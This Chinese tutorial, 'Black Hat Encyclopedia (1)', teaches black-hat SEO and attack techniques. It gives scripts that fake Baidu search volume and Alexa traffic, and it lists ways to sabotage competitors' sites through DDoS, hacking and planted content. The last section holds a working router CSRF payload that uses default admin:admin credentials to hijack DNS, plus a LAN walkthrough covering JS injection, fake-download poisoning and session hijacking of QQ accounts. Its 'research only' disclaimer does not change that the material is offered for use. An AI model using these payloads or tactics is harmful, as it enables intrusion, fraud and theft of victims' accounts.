IT教程 ·

黑帽百科|存在于黑与白的技术研讨(一)


序言

黑帽是什么?我真的有点不好回答,开始写这本书的时候,主要是想围绕着黑帽操作手法和劫持、链
轮、权重这块,但是在整理各种资料的时候,发现黑帽不只是“黑帽”,后面陆陆续续写入了入侵和提权,
以及其他的东西,曾经有一段时间我在怀疑这样写会不会跑题,有些东西不写吧,感觉少点什么,最终还
是写了进去,黑帽是一个广义词汇,它代表着所有采用灰色手段操作的优化和推广方式。
写这本书的初衷只是为了研究和交流使用,有人说黑帽技术是违法的,这里我只能说黑猫白猫抓住老
鼠才是好猫,世界上没有坏的技术,只有用错地方的人,这本书只是小范围的技术探讨,为了更好的去优
化和推广,切勿用于非法途径,想学习白帽优化的朋友可以看下《seo 全攻略》
黑帽优化的特点:优化周期短、见效快、成本低、被搜索降权的几率高

 

第一章 黑帽优化

在一项新的优化手段和方法出现的时候,我们首先要做的就是分析它为什么出现,他能满足我们的那
些需求、以及能帮我们解决什么问题,黑帽优化出现的环境是什么样子的呢?这里不能准确的说出来,估
计也很少有人能一下子概况的清楚,这里就简单的举证一些,搜索引擎的算法更新是一个方面、客户需求
信息的不对等、推广上的填鸭式操作…当然出现的原因有很多,至于他为什么出现?在这里已经没有多大
讨论的必要了,我们还是通过诸多案例去研究吧。
黑帽优化在不同的领域都有很大的应用,如外贸优化、搜索引擎的广告推广、微营销、淘宝客等。
优化工作不是一个一成不变的工作,他需要优化人员时时刻刻去寻找和优化用户体验的过程,而不是
时时刻刻去研究百度,不要天天抱着 大姨妈理论 ,百度不是每个月都大姨妈,那些所谓的“卫生巾”理论已
经不适合现在的优化方式了,在大数据已经普及的现在,搜索引擎的算法更新是时时刻刻的,而唯一不变
的是用户体验的提升,所以我们无论是在做白帽优化、还是黑帽优化,都要从用户出发。

1.1、搜索优化误区

1、百度快照时间和网站权重没有直接关系
网页权重对网站快照更新时间有辅助作用,但网站快照更新时间是根据网站历史更新频率和内容质量来决
定的,更新频率越快,蜘蛛抓取就越频繁。另外内容页更新频率是很小的。还有种情况是蜘蛛频率抓取但
就是不更新,是因为搜索引擎认为内容质量不值得更新。另百度官方说明无需太在意网页快照。
2、搜索指数不等于实际搜索量
百度官方明确说明“以网民在百度的搜索量为数据基础,以关键词为统计对象科学分析并计算茁各个关键
词在百度网页搜索中搜索频次的加权和”,注意是搜索频次,不是单纯搜索量。不过百度指数是实际搜索量
很有参考价值的指标。
3、Cookie 只能记录本网站内的用户信息,并不记录用户在其它网站的操作信息
Cookie 能记录用户在自己站内的操作信息,但用户跳出网站后的数据是跟踪不到的。很多时候我们登录一
些网站后,发现如登录信息和其它的输入数据都在,其实那是各个网站单独保留的用户记录。
4、网站设定关键词后排名并不会自己上去
包括我自己在内,有很长一段时间以为只要给网站设置了关键词,更新网站优化内外链后这些关键词的排
名就会上去。其实现在网站设置的 keyword 和 description 搜索引擎在计算相关性时只是可能会参考而已,
更逞论影响排名了。网站关键词排名要做上去还是要靠我们特意针对这些词做内链外链等优化的,锚文本
越集中关键词排名能力就越好。
5、站长工具提供的百度权重价值只限参考
站长工具里的数据统计功能确实方便了我们了解网站的综合数据信息,提供的百度权重现在是换友链最重
要的指标。但站长工具的百度权重只是词库网等第三方软件通过一些技术得出的结果,并不是百度承认的。
百度自己有对网站网页重要价值的类似权值指数的指标。
6、Site 网站结果数量不等于网站真实收录数,更不等于网站有效收录数
很多人把 site 网站结果数据当作百度对网站真实的收录数,其实 site 显示的结果只是网站真实收录数量
的一部分,网站真正收录数应以百度站长平台的索引数为准。但 site 数越接近索引数越好,代表质量越高,
反之如果索引数比 site 数量超出很多那就要警惕了,都说这是搜索引擎对网站不友好的表现(内容质量方
面)。
另,网站收录数不代表有效收录数。有效收录指的是有用户搜索并点击的网页数量,对网站来说,通常没
有用户访问的页面都是没作用的。
7、搜索引擎蜘蛛没有降权蜘蛛之类的分类
以前在网上看过一篇对搜索蜘蛛不同IP段的不同分析,让我一直这样认为(估计和我一样看法的人不在
少数吧),最近在SEO深度解析上看了才知道没这回事。不过价值高的网站会有可能吸引蜘蛛不同的抓取
策略。
8、搜索引擎对网站 URL 动静态一样对待
以前的看法是动态网站就是错的,但后来才知道一昧的追求静态网址并不正确,网址动态静态无所谓只要
不重复就是,另外动态网址也要避免过多的参数。
9、对站群过度魔化
很多人提起“站群”两字的印象就是作弊(反感对站群毛都不懂只会跟风说作弊的人)。确实,现在绝大多
数操作站群的都是作弊(多是灰黑色行业)。但站群并不全是作弊,以前就看过一篇操作站群的方式提供不
同地区交通违规查询的站群操作案例,这是能真正解决用户需求的。百度官方都说了要看这类网站对普通
用户的价值来做评判。
10、现在论坛、博客类留言签名的外链价值只剩引蜘蛛
这种情况较多的发生在SEO新手,花大把时间去博客和论坛签名留链接,好处是可以吸引更多蜘蛛访问,
坏处是数量多了就是垃圾外链了。所以只在网站刚建立时做下吸引蜘蛛就好,后面还是不做为妙。
11、网站备案与否不直接影响网站排名
很多人说网站备案与否影响网站排名,还有一篇业内流行度很高的“影响网站搜索引擎排名价值参考因素”
表里看到网站备案对排名影响非常高,仅在外链的作用之下,扯淡。百度都说了只会参考而已,网站备案
与否影响的是用户对网站的信任度。
12、搜索引擎蜘蛛并不会“爬”
其实这是一个基础常识。大家习惯了把 spider 访问抓取网页的过程用“爬”来形容,造成很多人以为蜘蛛
是从一个页面爬行到另一个页面。其实蜘蛛是直接访问网页的,原理是 spider 从抓取到的页面的网址按权
值等信息来抓取网页内容,查看网站日志就可知道 spider 对网站的访问没有 refer。
13、只关注网站首页,忽视网站其它页面的作用和重要性
大多数情况下优化网站时我们只关注首页,内外链锚文本什么的都集中到首页去了。其实在网站刚开始优
化时是集中在首页,但后面如果目录和内页的权值提不上去,光靠首页是不行的,很难提升权重和获得排
名,就算排上去了也不会坚挺。
14、同IP服务器网站惩罚受影响并不大
很多人固执认为同一IP服务器的网站受惩罚对网站的影响很大,所以在购买空间时对这点特别关注。其
实搜索引擎对这种情况是能识别出来的。当初传出这个说法更多的是为了怕同被受惩罚网站连累攻击而已。
15、为增加注册量,网站内容设置成只有注册才可浏览的弊端
现在很多网站因各种原因,把内容设置成只有注册用户才可能查看。但搜索引擎蜘蛛和普通用户是一样的,
普通和用户看不了的蜘蛛也看不了,蜘蛛爬行不了的当然就不能抓取并收录了。正确的做法是放出一部分
内容来方便让蜘蛛抓取。
16、网站跳出率和页面反应速度不直接影响网站排名
首先是会影响,但不是很大。
网站跳出率是统计工具才能知道的,搜索引擎并不知道,只要用户不在打开网站后马上关闭并且在搜索引
擎上搜索同一关键词。页面打开速度慢会影响用户体验是一定的,有很多用户会直接关闭网页,但也不会
直接影响排名。这两点谷歌纳入了页面排名因素,百度还没有。
17、设置了 noffollow 标签的链接搜索引擎还会抓取
要完全禁止的方法就是设置 robots 文件。Noffollow 标签的作用是站长不推荐这个链接,但搜索引擎对所
有链接都会抓取。在权重传递上来说是不传递,但另一个说法是只要有用户点击的链接都是有作用的。
18、百度竞价并不能提升网站收录和排名
很多人说网站做的竞价能提升网站的排名,其实网站排名竞价与否并不提升网站关键词排名和收录。做竞
价对SEO的影响是能提升网站曝光率和品牌知名度,通常来讲也没人会把垃圾没价值的页面拿来做竞价。

1.2、网站权重和流量

一个网站能否在搜索当中有很好的排名, 和 网站的权重、关键词指数有很大关系,按照正规的白帽优
化是很难在短时间内出现自己想要的效果,因而相应而生了快速的优化方式

1.3、网站的权重快速提升

所谓的百度搜索权重,其实是第三方根据关键词在百度搜索中检索的数量(百度指数)来判断的,也
就是说不通的平台中对同一个站所给出的权重是不一样的,而 google 权重是 google 自己对网站评估的,
所以可操作的空间很少,但是不代表不能操作,那么一个新站如何在短时间快速提升百度权重呢?
我们通过干扰一个关键词(无指数词)的搜索,实现一定数量的搜索引擎的搜索动作,让搜索引擎误
以为这个词有很大的搜索量,从而给予这个词一定的指数,第三方在关键词指数查询的时候就会给这个网
站一定的权重。
百度权重升级规则
预计流量 0-100 的百度权重是 1
预计流量 100-500 的百度权重是 2
预计流量 500-1000 的百度权重是 3
预计流量 1000-5000 的百度权重是 4
预计流量 5000-10000 的百度权重是 5
预计流量 10000-50000 的百度权重是 6
预计流量 50000-200000 的百度权重是 7
预计流量 200000-1000000 是百度权重是 8
预计流量大于 1000000 的百度权重是 9
预计流量 100000000 以上的百度权重是 10

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第1张

权重查询平台
爱站: http://www.aizhan.com
站长工具: http://tool. chinaz.com
空软: http://www.kongruan.com
5118 : http://www.5118.com/ (支持网站关键词到处 --- 最大可导出 10000 )
L L inks : http://www.links.cn/ 查询 0 360 权重 http:// 360 .links.cn/
搜外: http://tool.seowhy.com/ ( 站长工具大全) )
L L ink114: http://www.link114.cn/ ( 支持批量查询) )

具体操作:

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第2张

接下来,说说我要如何刷这个网站权重。
第一,需要明白影响百度权重的因素
假设你的网站有一个关键词在百度有排名,如果这个关键词的百度指数很高的话,那这个网站的百度权重
一定会很高。那么,我们可以思考到,假设我们能够把网站的独有一个关键词的百度指数刷上去,那么这
个网站的百度权重一定很高。是什么影响关键词的百度指数呢?就是网民用百度搜索这个关键词的次数,所
以只需要把网站独有的关键词的搜索次数刷上去就可以快速提升百度权重了。
第二,如何进行刷关键词的搜索次数呢?
这里我们需要 3 段代码和一个工具。

把三段代码分别复制到记事本中,并把记事本的名称分别改为 a.html,b.html,baidu.html,如图所示

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第3张

其中,文件 a.html 为:

<script>
function aa()
{
window.location.rel="external nofollow" target="_blank" href="https://www.xiaohutuwb.com/wp-content/themes/begin/go.php?url=aHR0cDovL3d3dy5iYWlkdS5jb20vcz93ZD3lhavpn7PnjKsgU0VPIOWNmuWuog==";
}
setTimeout(aa,1500);
</script>

文件 b.html 的代码为:

<script>
window.location.rel="external nofollow" target="_blank" href="https://www.xiaohutuwb.com/wp-content/themes/begin/go.php?url=aHR0cDovL3d3dy5iYWlkdS5jb20vcz93ZD3lhavpn7PnjKsgU0VPIOWNmuWuog==";
</script>

其中,文件 baidu.html 的代码为:

<FRAMESET border=0 frameSpacing=0 rows=500,* frameBorder=1>
<FRAME name=primaryFrame src="b.html" frameBorder=0 noResize scrolling=no>
<frame src="a.html">
</FRAMESET>
<noframes></noframes>

注意:三个文件中涉及到“ 八音猫 SEO 博客”为你所要刷的关键字。
接下来,我们把这三个文件上传到你的网站空间的根目录,测试一下“http://www.bymseo.com/baidu.html”

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第4张

可以发现,点开这个链接就是模拟的百度搜索“八音猫 SEO 博客”这个关键词。达到了我们模拟百度搜索关
键词的目的。最后,我们要用到的一款工具就是流量宝或者流量精灵这种刷网站流量的工具,在软件中添
加了上面的链接,然后进行疯狂的刷流量就可以了。我们剩下要做的就是每天打开软件刷流量,坚持大概
一个月的时间,你所刷的那个关键词的百度指数就会大幅度增加,这时你的网站权重也会暴增的。

1.4、K 站方法

K 掉对手的站有哪些方式呢?以及如何隐藏自己?
怎么 K 掉竞争对手的网站,或者让对手网站能快速降权,我们可以从白帽优化收录方面入手,也就是说我
们在操作的时候,让竞争对手站优化过度或者是严重违反搜索引擎算法规则,这样就能达到我们的 K 站目
的,搜索引擎认为不友好,或者是恶意的优化方式有
 不稳定的流量进入(恶意刷流量在一定程度上不能成为 K 站的目的,但是不稳定的刷取流量还是有一
定效果的)
 短时间内大量外链增加和增加的外链剧减(一般是用外链宣传工具刷的恶意外链)
 服务器不稳定
 网站打开速度过慢(可能由于 DDOS 攻击,或者是带宽被占用)
 非法外链(黑链,这种链接多以 iframe 和 display:none 实现,搜索引擎直接默认是作弊)
 网站被举报(百度搜索引擎有举报功能,这个可以被用来打击竞争对手,刷一定量的举报,可以在某
种程度上进行网站降权)
 入侵网站挂非法内容(可以很快降权)
 在被降权网站中刷链接(借用连带惩罚)
 大量刷取百度指数(不稳定刷取,会让竞争对手网站出现回光返照,降权的前奏)
 给竞争对手挂闪链接(批量挂上去一堆外链,最后再快速去掉)

1.5、刷搜索引擎搜索下来(移动端和 PC 端)

在线刷百度下来地址:http://www.jius.com.cn/
软件:http://www.hudianbao.com/myself.html
http://www.tuibailaxg.com/DownloadShow.asp?ID=8

每个站长和喜欢 SEO 的客户都想了解百度的下拉与相关搜索结果是怎么出来的呢?这个问题其实也很简
单,今天就由联盟精灵给大家再次整理一下分享给大家: 百度下拉框:主要被应用到的在搜索一个关键词
的时候,百度会推荐一些和这个关键词相关联的关键词出来让用户选择搜索,从而省去了打字的烦恼(如:
搜索“网站优化”,百度下拉框出现“网站优化 xx,xx 网站优化”等等【这里就不软了,可以发挥你的想
象】)。对于网络营销人来说,能把这东西用好了,把自己所作产品相关的东西弄上去了对自己的营销来说
是一件非常有意义的事情哟,具体要达到什么效大家都懂的,我就不多废了。 百度下拉框的算法:一个关
键词每天有多少搜索量,和它相关的词有多少搜索量,这些数据百度都记录在案的,在百度搜索一个较短
关键词的时候,下拉框中可能会出现一些和它相关的一些长尾词(如:在输入 B 的时候下拉框中出现了
很多相关词按顺序往下是关键词优化软件 360,关键字优化软件 360....等等),从这个结果可以看出,在
最近一段时间内搜索“关键词优化软件 360”的次数大于“关键字优化软件 360”,而“关键字优化软件 360”
搜索量也大于它下面的词,依此类推。(一定周期内搜索量越大下拉框中排名越靠前,当然肯定还结合了其
他判断方式,但是这绝对是最主要的一种),正因为这样才有了刷下拉框的软件出现。刷下拉框软件原理:
通过将所有注册成他们用户的电脑都集中起来形成一个庞大的点击团队,当其中一个用户 A 通过软件设置
了关键词时(如果他想刷“网站建设”这关键词,那么也许就设置了“xx 网站建设,网站建设 xx”等一
些列的关键词,具体什么词用你的欲望去想想吧。),然后系统调用其他用户 B,C,D,E,F......电脑中的程
序控制搜索 A 设置的关键词和相关关键词。当这些词每天搜索量达到一定数量后,并且能持续 一定时间
周期后,百度下拉框很可能就达到了 A 想要的效果。 知道了这原理了破解就容易了具体思路如下: 自
己每天搜索几百次这些相关词但 ip 不能一样,也许你想到了用代理,估计一般的代理还不能逃过百度的
法眼,拿就用 vpn 吧,vpn 资源呢?你有多少?即便有足够多的资源,如果电脑的 mac 都被百度记录了,
那该怎么办?
让别人帮忙搜索
如果你人缘好,那么可以找你的朋友帮忙,一天找 200 个人帮你搜索 2 个关键词,可能你能做到,那第
二天、第三天、第四天、、、、、应该怎么办呢,估计没那么多人坚持了吧,所以这方法不是很可行。 那就像
刷下拉列表软件原理一样让陌生人帮忙搜索吧但是怎么让陌生人帮你搜索呢?也许你还没有开发那种工具
的能力,或者你有开发者工具的能力,但是你没有宣传这软件的实力,所以想通过和刷下拉框软件一样的
原理让别人主动帮你搜是不太可能的,直接找他?更不行。相信对做过一定时间站长的朋友来说应该都有
自己的站,而且每天有几百甚至上千个不同 ip 的访问应该也不是难事?如果有这资源那么恭喜你,你可
以让这些来访问你
网站的人帮你忙。
怎么让陌生人帮忙搜索呢?两个字“弹窗”弹窗广告估计大家都接触过,当打开一个页面是,自动弹出另
外一个窗口,之前接触的那些弹窗都是广告,而这些广告也是一个单独的页面,百度搜索结果也是一个单
独页面,如搜索关键词关键词优化软件 360(那打开的页面就是:
http://www.baidu.com/s?bs=%B0%D9%B6%C8%D3%C5%BB%AF&f=3&rsv_bp=1&rsv_spt=3&wd=%B9%D8%BC%FC%B4
%CA%D3%C5%BB%AF%C8%ED%BC%FE360&oq=%B9%D8%BC%FC%B4%CA%D3%C5%BB%AF&rsp=0&inputT=10015),我们把
这个地址应用到弹窗中,当打开正常页面以后自动弹一个页面出来目标就是百度搜索结果地址。这样就达
到了有人访问你网站,就自动帮你搜索一次关键词的目的了。这样就有了刷下拉框软件的功能,且更优于
那软件,不用整天开着电脑去刷,节省了软件费用,也节约了电费,节约了电脑寿命。。。。。。。。 当然如果
你觉得这有点不利于用户体验,那么你可以不用弹窗(提示 iframe,但要注意被百度判断调用来路,
不过找到原因解决方法就很简单,给大家一点想象空间)。 知道了这个原理后,估计又有人会为这资源犯
愁了,或者自己有资源但是怕影响自己网站的形象,影响了用户体验。既然有了这个顾虑就别拿自己的站
来弄了,果断用别人的吧,黑站吧这点小事应该难不倒 seo 界的人。如果实在不会还有其他方法,现在网
上卖广告的人不少,可以直接找一些小站长合作,花少量的钱,让他每天为你带来几百个 ip 的弹窗应该
还是没问题的。

1.6、如何刷 ALEXA 排名

第一步,首先下载安装 alexa 工具条,如果已经安装了,那跳过这一步即可。如果还没有安装,请下载安装。
第二步,确保 alexa 工具条是可以工作的,xp 系统下有的时候 alexa 工具条不能正常显示,解决办法是安装
一个 yahoo 助手,然后在上网助手中,选择“插件拦截”,打开后,在工具插件中,第一项就是“ALEXA
工具条”,选择它,然后在对话框底部,点“允许弹出”。
第三步,建立一个 alexa.htm 页面,代码如下:

<html>
<head>
<title>alexa 排名演示</title>
<script language="javascript">
var nInterval;
function chkRefresh()
{
win=window.open("alexa.aspx","mzs","");
nInterval=setInterval("go()",15000);
}
function go()
{
if(win.closed==true){chkStop();}else{
win.location="alexa.aspx";}
}
function chkStop()
{
window.clearInterval(nInterval);
win.close();
}
</script>
</head>
<body>
<input type='button' id='btn' style="width:60px" value="开始刷" onclick="chkRefresh();">
<input type="button" value="停止刷" name="btnStopRefresh" onclick="chkStop();">
</body>
</html>

第四步,建立一个 alexa.aspx 页面,html 代码

<html>
<head>
<title>alexa</title>
</head>
<body MS_POSITIONING="FlowLayout">
<form id="Form1" method="post" runat="server">
</form>
<script language="javascript">
//每隔一定时间自动调用该页面,此时该页面用 ajax 随机调用数据库 url,从而实现 alexa 刷新
//debugger;
var dt = alexa.GetUrl().value.Tables[0];
if (dt.Rows.length > 0)
{
window.location.href=dt.Rows[0].url;
}
</script>
</body>
</html>

cs 代码

public class alexa : System.Web.UI.Page
{
private void Page_Load(object sender, System.EventArgs e)
{
Utility.RegisterTypeForAjax(typeof(alexa));
}
[AjaxMethod()]
public DataSet GetUrl()
{
DataSet ds = new DataSet();
string strConnection = System.Configuration.ConfigurationSettings.AppSettings["Conn
Str"];
SqlConnection conn = new SqlConnection(strConnection);
SqlCommand cmd = conn.CreateCommand();
cmd.CommandText = "select top 1 * from alexa order by newid()";
SqlDataAdapter da = new SqlDataAdapter(cmd);
da.Fill(ds);
conn.Close();
if(ds!=null)
{
return ds;
}
else
{
return null;
}
}
Web Form Designer generated code
}

第五步,可以用访问目录的方式,也可以用数据库的方式来读取 url,我这里是按数据库的方式来演示的,
建立一个表,结构如下

if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[alexa]') and OBJECTPROPER
TY(id, N'IsUserTable') = 1)
drop table [dbo].[alexa]
GO
CREATE TABLE [dbo].[alexa] (
[id] [int] IDENTITY (1, 1) NOT NULL ,

[nvarchar] (500) COLLATE Chinese_PRC_CI_AS NULL
) ON [PRIMARY]
GO

第六步,把你网站的所有页面都录入到数据库,直接在查询分析器中用 in sert 语句,就不用录入页面了
第七步,开始用刷力量的工具刷流量(安全宝和流量精灵)。

1.7、刷高权重外链

这里所说的刷高权重外链指的是挂高权重黑链,至于怎么隐藏和顺延权重,则是看隐藏代码是否被百度认可。

1.8、关键词指数建立和提高

百度指数词创建:http://index.baidu.com/VIP/buy/ 50 大洋一个词(百度穷疯了)

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第5张

人品好的话可以到这里试着添加:
http://baidu.zk528.com/ (添加上去的几率不大)
http://old.xiaoxiangzi.com/baidu/
http://www.jiazhishu.com/

1.9、链轮选择和权重顺延

1.9.1、链轮模型

1.九宫格模型
如下图:

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第6张

你会发现 站点(网页)A 是都是链接到其他站点(网页)B、D,其中有个别站点(网页)是有进有出
如:B、C 等,而像 I 是没有链接到其他站点(网页)的,所以说在一定程度上可以实现将搜索引擎释放的
蜘蛛“留着”这样一个循环之中。
当然细心的人会发现!这样的模型没有一个中心,怎么突出主站或一个想要优化的网页,从而实现提
高排名等 SEO 想要达到的目标?
所以上面的模式适应于:主站域名只是一个静态页面或相对不重要的站点(摆设,有这样的网站,比
如:婚纱摄影这样类型的),或对于想要优化全站内页系统的可以选择。
2.链轮模型
针对上面的问题,下面的链轮模型就是适合大部分的网站了

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第7张

相对的 weebly、quizlla 等外围的单向链接形成一个简易的链轮,而后每个站点有突出链接一个站点
yoursite,这样就改正了模型一的问题,进而实现链接陷阱的效果。
进一步扩展链接轮形成下面的多个链轮轮模型,达到量级的变化,蜘蛛来到网站,从首页进入了第一个
链轮抓取,会回到首页进入下一个链轮,或者是直接由第一个链轮直接进入第二个链轮。这样做小站就变
成了一个处处亮绿灯的条条小道。

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第8张

实现链接轮的好处
(1) 链轮模型就会简化优化站内链接,还能达到更好的效果:平均、内部变动(增加、启用、关闭)就
更加清晰和可以控制、记录。
(2)节省不必要链接浪费,多出来的可以更多分配给其他网站。可以分成几个链接轮,合理规划内部链接
问题.
这样的链接轮可大可小,大的可以再域名级别实现,小的可以再网站内页之间实现这样的链轮,比如:
网站内页的某个关键字,排名在第 10 位。可以发布、组织相关的文章形成链轮,集中链接链向这篇文章,
把它的排名更高位。

1.10、蜘蛛池制作方式

1.10.1、IIS 建泛站群蜘蛛池教程

登录服务器后 点击 iis 管理器

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第9张

右键点击【网站】选择新建》网站》

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第10张

点击下一步

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第11张

再下一步

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第12张

选择全部未分配或者单个 IP,端口是 80 主机头留空

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第13张

路径选择您网站程序的目录 选择好了之后下一步

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第14张

选择第二个 运行脚本》下一步》网站搭建完成》

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第15张

选择刚刚建好的右键打开》属性

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第16张

点击自定义错误选项。往下拉到 404,双击编辑

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第17张

消息类型(m)选择 url 。

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第18张

然后在 url(u)填入/404.php 。点确定。再点确定。完成设置。
引蜘蛛设置教程

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第19张

引蜘蛛主要用到泛站群自定义外链标签<spider>。
首先要在模版(qq820240753templatesshouye)里面配置调用轮链标签。
然后在自定义轮链文件夹(qq820240753spider)里面建 txt 数字文件,然后把 URL 连接放到 txt 里
面。注意 URL 需要以 http://开头

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第20张

注意事项
搭建蜘蛛池为节约成本,尽量使用 5-20 个 IP 的服务器就行了。域名可以去购买二手的被降权的域名,
后缀无关紧要,只要百度有蜘蛛爬就行了!

1.11、DNS 劫持

参考:http://wenku.baidu.com/view/cb2c91eb551810a6f5248621.html
http://wenku.baidu.com/view/1f5baf47b307e87101f69679.html

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第21张

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第22张

攻击流程:
1.你在访问到一个被嵌入到攻击代码的网页(这很容易做到).
2.攻击者利用跨域表单提交特性使用默认密码或路由器中内置的超级用户可以将你路由器中的 DNS 服务器
进行修改.
3.修改 DNS 服务器意味着什么?意味着攻击者可以像电信运营商一样给你乱插广告,劫持你访问的网页…..
没有开 WIFI,没有开对外访问端口是不是就安全了?
答案是否定的,因为上面的攻击流程并没有涉及到 wifi 和外网.

 

攻击代码:

<script>function attack(){ new Image().src=’http://192.168.1.1/userRpm/PPPoECfgAdvRpm.ht
m?wan=0&lcpMru=1480&ServiceName=&AcName=&EchoReq=0&manual=2&dnsserver=58.20.127.238&dnsserver2
=58.20.255.90&downBandwidth=0&upBandwidth=0&Save=%B1%A3+%B4%E6&Advanced=Advanced’;}</script><i
mg src=”http://admin:admin@192.168.1.1/images/logo.jpg” onload=”attack()”>

POC:http://jsbin.com/usovoz

1.11.1、内网 dns 劫持

参考网址:http://www.backlion.com/%E5%86%85%E7%BD%91dns%E5%8A%AB%E6%8C%81%E6%8A%80%E6%9C%AF%E8%AF%A6%E8%A7%A3/

工具列表:
tcpdump
Ferret
Hamster
node
closurether
Ox0
拓扑环境:

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第23张

攻击机:Kali 10.10.10.237
被攻击机: win7 10.10.10.232
因为只为了测试,只修改了 PC1 的 DNS
Ox01
node 安装:

wget http://nodejs.org/dist/v0.8.7/node-v0.8.7.tar.gz
tar zxvf node-v0.8.7.tar.gz
root@192:~/node-v0.8.7# ./configure {"target_defaults":{"cflags":[],"default_configuration":"R
elease","defines":[],"include_dirs":[],"libraries":[]},"variables":{"clang":0,"gcc_version":4
7,"host_arch":"ia32","node_install_npm":"true","node_install_waf":"true","node_prefix":"","nod
e_shared_openssl":"false","node_shared_v8":"false","node_shared_zlib":"false","node_use_dtrace
":"false","node_use_etw":"false","node_use_openssl":"true","target_arch":"ia32","v8_no_strict_
aliasing":1,"v8_use_snapshot":"true"}}
creating ./config.gypi
creating ./config.mk
root@192:~/node-v0.8.7# make install

安装完后,执行

npm install -g closurether

如果出现错误

SSL Error: SELF_SIGNED_CERT_IN_CHAIN
symlinking ../lib/node_modules/npm/bin/npm-cli.js ->/usr/local/bin/npm
updating shebang of /usr/local/bin/npm to /usr/local/bin/node
root@192:~/node-v0.8.7# npm install -g closurether
npm http GET https://registry.npmjs.org/closurether
npm http GET https://registry.npmjs.org/closurether
npm http GET https://registry.npmjs.org/closurether
npm ERR!Error: SSL Error: SELF_SIGNED_CERT_IN_CHAIN
npm ERR! at ClientRequest.<anonymous>(/usr/local/lib/node_modules/npm/node_modules/request/
main.js:440:26)
npm ERR! at ClientRequest.g (events.js:185:14)
npm ERR! at ClientRequest.EventEmitter.emit (events.js:88:17)
npm ERR! at HTTPParser.parserOnIncomingClient [as onIncoming](http.js:1455:

找到解决方法是:

root@192:~/node-v0.8.7# npm install npm -g --ca=null
npm http GET https://registry.npmjs.org/npm
npm http 200 https://registry.npmjs.org/npm
npm http GET https://registry.npmjs.org/npm/-/npm-1.4.26.tgz
npm http 200 https://registry.npmjs.org/npm/-/npm-1.4.26.tgz/usr/local/bin/npm ->/usr/local/li
b/node_modules/npm/bin/npm-cli.js
npm@1.4.26/usr/local/lib/node_modules/npm
root@192:~/node-v0.8.7# npm config set ca=""
root@192:~/node-v0.8.7# npm install -g closurether/usr/local/bin/closurether ->/usr/local/lib/
node_modules/closurether/bin/closurether
closurether@0.1.1/usr/local/lib/node_modules/closurether
├── mkdirp@0.3.5├── iconv-lite@0.2.11└── uglify-js@2.3.6(async@0.2.10, source-map@0.1.3
9, optimist@0.3.7)

再执行 closurether 已经正常。

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第24张

这里运行是 DNS 走的流量通过本机的服务再转发给访问者。HTTP 是正常的。遇到 HTTPS 会出现一些错误。
也没有找到什么好的解决方式一起共勉下。
现在配置好了,来测试一下。

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第25张

修改下本机的 DNS 。指向 kali,用 closurether 来处理 DNS 信息。(修改 DNS 也可以在路由上面进行修改。
另外也可以 DHCP,自动获取 DNS 的话可以强制获取到自己设置的 DNS。怎么实现大家可以自己去测试,这
里就不讨论了)
Ox02
修改成功后。可以看到详细的 DNS 信息与访问信息。

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第26张

这里。我们当然就用来 node 来进行 JS 注入了。
找一个这个文件 js
find /-name extern.js

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第27张

加入测试内容

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第28张

alert 弹出

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第29张

加入后。会在默认的列表里面自动加入 JS,默认是所有的网站都会注入 JS。JS 是会缓存的。要清理缓存。
也可以 new 预加载。

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第30张

想要加入 js 的 url.自要在
/usr/local/lib/node_modules/closurether/tool/cache-sniffer
这个目录里面加入 就可以了。
这里的 10086.cn 伪造地址 具体想伪装成什么地址,可以在 config.json 里配置。

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第31张

JS 里面就是我们修改的文件 extern.js

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第32张

这里就可以用 js 进行投毒。投入 flash 升级与下载 exe 识别替换与 js 获得主机的一些信息。(注意 JS 死
循环)
更加专业的解答可以去看下 EtherDream 博客 专注 wifi 劫持 30 年。
Ox03
试一试劫持会话
tcpdump 监听下 eth0 生成 cap

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第33张

用 ferret 处理生成的 cap 文件 自动在目录会长成一个 hamster.txt.

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第34张

在启用 hamster 代理

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第35张

这样就可以劫持他们的会话了

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第36张

这里看不懂的可以看看查查中间人攻击。
劫持会话的 kali 上面集成了很多。如 urlsnarf,Cookie Cadger(这种我觉得太方便)这里我不演示这几种
了,大家可以自己测试。
Ox04
urlsnarf 劫持的话也只是处理下头文件。

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第37张

本机我访问下 QQ 空间。
收到了 urlsnarf 里面的信息
我们通过抓取到的信息。直接就可以登陆到 QQ 空间。

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第38张

在局域网利用信息是很方便的,还有没有隐私。测试成功的有 QQ 空间 QQ 邮箱,百度网盘。其他的 HTTP
没有一一测试。我测试的基本都成功。
